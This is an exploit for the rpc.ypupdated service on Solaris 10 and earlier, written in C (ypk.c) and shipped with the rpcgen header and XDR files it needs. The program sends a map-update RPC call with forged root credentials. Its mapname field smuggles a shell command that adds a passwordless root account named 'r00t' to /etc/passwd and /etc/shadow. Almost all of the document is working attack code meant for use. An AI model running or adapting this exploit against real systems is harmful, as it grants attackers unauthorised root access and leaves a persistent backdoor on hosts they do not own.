Sun Solaris <= 10 rpc.ypupdated Remote Root Exploit

                                                ypk.c: 
/*update: kcope/year2008/tested on SunOS 5.10// 

  KEYSERV/YPUPDATED (SunOS 4.1.3/RPC SERVICES) 

  If we send an MAP UPDATE to a remote YPUPDATED (via KEYSERV) it executes a shell through which extra commands may be launched  on the remote host by passing '|shell command'. 
i.e. the COMM variable contains a pipe character after which a 
  command may be passed. You may change the command by changing this. 

*/ 

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <arpa/inet.h> 
#include <sys/types.h> 
#include <sys/socket.h> 
#include <fcntl.h> 
#include <rpc/rpc.h> 

#define MAXMAPNAMELEN 255 
#define MAXYPDATALEN 1023 
#define MAXERRMSGLEN 255 

typedef struct{ 
unsigned int yp_buf_len; 
char * yp_buf_val; 

} yp_buf; 

struct ypupdate_args{ 
char * mapname; 
yp_buf key; 
yp_buf datum; 

}; 

typedef struct ypupdate_args ypupdate_args; 

#ifdef __cplusplus 
extern "C" bool_t xdr_ypupdate_args(XDR *,ypupdate_args *); 
#elif __STDC__ 
extern bool_t xdr_ypupdate_args(XDR *,ypupdate_args *); 
#else 
bool_t xdr_ypupdate_args(); 
#endif 

void main(argc, argv) 
int argc; 
char *argv[]; 
{ 

CLIENT * cli; 

unsigned long prog=100028; 
unsigned int vers=1; 

struct sockaddr_in skn; 
struct timeval timeVal; 
struct hostent * hostEnt; 

ypupdate_args ypArg; 
unsigned long rtnval; 

unsigned int desc; 

char * comm = "|echo \"r00t::0:0:Super-User die zweite:/:/sbin/sh\" >> 
/etc/passwd;echo \"r00t::6445::::::\" >> /etc/shadow;"; 

if(argc<2) { 
  printf("example: yxp target\n"); 
  exit(1); 
} 

timeVal.tv_usec=0; 
timeVal.tv_sec=15; 
desc=RPC_ANYSOCK; 

ypArg.datum.yp_buf_val="x"; 
ypArg.datum.yp_buf_len=strlen(ypArg.datum.yp_buf_val)+1; 

ypArg.key.yp_buf_val="x"; 
ypArg.key.yp_buf_len=strlen(ypArg.key.yp_buf_val)+1; 

ypArg.mapname=comm; 

if ((hostEnt=gethostbyname(argv[1]))==NULL){ 
  printf("gethostbyname failure\n"); 
  exit(1); 
} 

skn.sin_family=AF_INET;skn.sin_port=htons(0); 
bcopy(hostEnt->h_addr,&skn.sin_addr.s_addr,4); 

if ((cli=clntudp_create(&skn,prog,vers,timeVal,&desc))==NULL){ 
  printf("clntudp_create failure\n"); 
  exit(1); 
} 

cli->cl_auth=authunix_create("localhost",0,0,0,0); 

clnt_call(cli,1,xdr_ypupdate_args,&ypArg,xdr_u_int,&rtnval,timeVal); 

} 

ypupdate_prot.h: 
/* 
* Please do not edit this file. 
* It was generated using rpcgen. 
*/ 

#ifndef _YPUPDATE_PROT_H_RPCGEN 
#define _YPUPDATE_PROT_H_RPCGEN 

#include <rpc/rpc.h> 

/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */ 

/* 
* Compiled from ypupdate_prot.x using rpcgen 
* This is NOT source code! 
* DO NOT EDIT THIS FILE! 
*/ 
#define MAXMAPNAMELEN 255 
#define MAXYPDATALEN 1023 
#define MAXERRMSGLEN 255 

typedef struct { 
u_int yp_buf_len; 
char *yp_buf_val; 

} yp_buf; 

#ifdef __cplusplus 
extern "C" bool_t xdr_yp_buf(XDR *, yp_buf*); 
#elif __STDC__ 
extern bool_t xdr_yp_buf(XDR *, yp_buf*); 
#else /* Old Style C */ 
bool_t xdr_yp_buf(); 
#endif /* Old Style C */ 

struct ypupdate_args { 
char *mapname; 
yp_buf key; 
yp_buf datum; 


}; 

typedef struct ypupdate_args ypupdate_args; 
#ifdef __cplusplus 
extern "C" bool_t xdr_ypupdate_args(XDR *, ypupdate_args*); 
#elif __STDC__ 
extern bool_t xdr_ypupdate_args(XDR *, ypupdate_args*); 
#else /* Old Style C */ 
bool_t xdr_ypupdate_args(); 
#endif /* Old Style C */ 

struct ypdelete_args { 
char *mapname; 
yp_buf key; 


}; 

typedef struct ypdelete_args ypdelete_args; 
#ifdef __cplusplus 
extern "C" bool_t xdr_ypdelete_args(XDR *, ypdelete_args*); 
#elif __STDC__ 
extern bool_t xdr_ypdelete_args(XDR *, ypdelete_args*); 
#else /* Old Style C */ 
bool_t xdr_ypdelete_args(); 
#endif /* Old Style C */ 

#define YPU_PROG ((u_long)100028) 
#define YPU_VERS ((u_long)1) 

#ifdef __cplusplus 
#define YPU_CHANGE ((u_long)1) 
extern "C" u_int * ypu_change_1(ypupdate_args *, CLIENT *); 
extern "C" u_int * ypu_change_1_svc(ypupdate_args *, struct svc_req *); 
#define YPU_INSERT ((u_long)2) 
extern "C" u_int * ypu_insert_1(ypupdate_args *, CLIENT *); 
extern "C" u_int * ypu_insert_1_svc(ypupdate_args *, struct svc_req *); 
#define YPU_DELETE ((u_long)3) 
extern "C" u_int * ypu_delete_1(ypdelete_args *, CLIENT *); 
extern "C" u_int * ypu_delete_1_svc(ypdelete_args *, struct svc_req *); 
#define YPU_STORE ((u_long)4) 
extern "C" u_int * ypu_store_1(ypupdate_args *, CLIENT *); 
extern "C" u_int * ypu_store_1_svc(ypupdate_args *, struct svc_req *); 

#elif __STDC__ 
#define YPU_CHANGE ((u_long)1) 
extern u_int * ypu_change_1(ypupdate_args *, CLIENT *); 
extern u_int * ypu_change_1_svc(ypupdate_args *, struct svc_req *); 
#define YPU_INSERT ((u_long)2) 
extern u_int * ypu_insert_1(ypupdate_args *, CLIENT *); 
extern u_int * ypu_insert_1_svc(ypupdate_args *, struct svc_req *); 
#define YPU_DELETE ((u_long)3) 
extern u_int * ypu_delete_1(ypdelete_args *, CLIENT *); 
extern u_int * ypu_delete_1_svc(ypdelete_args *, struct svc_req *); 
#define YPU_STORE ((u_long)4) 
extern u_int * ypu_store_1(ypupdate_args *, CLIENT *); 
extern u_int * ypu_store_1_svc(ypupdate_args *, struct svc_req *); 

#else /* Old Style C */ 
#define YPU_CHANGE ((u_long)1) 
extern u_int * ypu_change_1(); 
extern u_int * ypu_change_1_svc(); 
#define YPU_INSERT ((u_long)2) 
extern u_int * ypu_insert_1(); 
extern u_int * ypu_insert_1_svc(); 
#define YPU_DELETE ((u_long)3) 
extern u_int * ypu_delete_1(); 
extern u_int * ypu_delete_1_svc(); 
#define YPU_STORE ((u_long)4) 
extern u_int * ypu_store_1(); 
extern u_int * ypu_store_1_svc(); 
#endif /* Old Style C */ 

#endif /* !_YPUPDATE_PROT_H_RPCGEN */ 

ypupdate_prot_xdr.c: 
/* 
* Please do not edit this file. 
* It was generated using rpcgen. 
*/ 

#include "ypupdate_prot.h" 
/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */ 

/* 
* Compiled from ypupdate_prot.x using rpcgen 
* This is NOT source code! 
* DO NOT EDIT THIS FILE! 
*/ 

bool_t 
xdr_yp_buf(XDR *xdrs, yp_buf *objp) 
{ 

  register long *buf; 

  if (!xdr_bytes(xdrs, (char **)&objp->yp_buf_val, (u_int 
*)&objp->yp_buf_len, MAXYPDATALEN)) { 
   return (FALSE); 
  } 
return (TRUE); 

} 

bool_t 
xdr_ypupdate_args(XDR *xdrs, ypupdate_args *objp) 
{ 
  register long *buf; 

  if (!xdr_string(xdrs, &objp->mapname, MAXMAPNAMELEN)) { 
   return (FALSE); 
  } 
  if (!xdr_yp_buf(xdrs, &objp->key)) { 
   return (FALSE); 
  } 
  if (!xdr_yp_buf(xdrs, &objp->datum)) { 
   return (FALSE); 
  } 
return (TRUE); 

} 

bool_t 
xdr_ypdelete_args(XDR *xdrs, ypdelete_args *objp) 
{ 
  register long *buf; 
  if (!xdr_string(xdrs, &objp->mapname, MAXMAPNAMELEN)) { 
   return (FALSE); 
  } 
  if (!xdr_yp_buf(xdrs, &objp->key)) { 
   return (FALSE); 
  } 
return (TRUE); 

}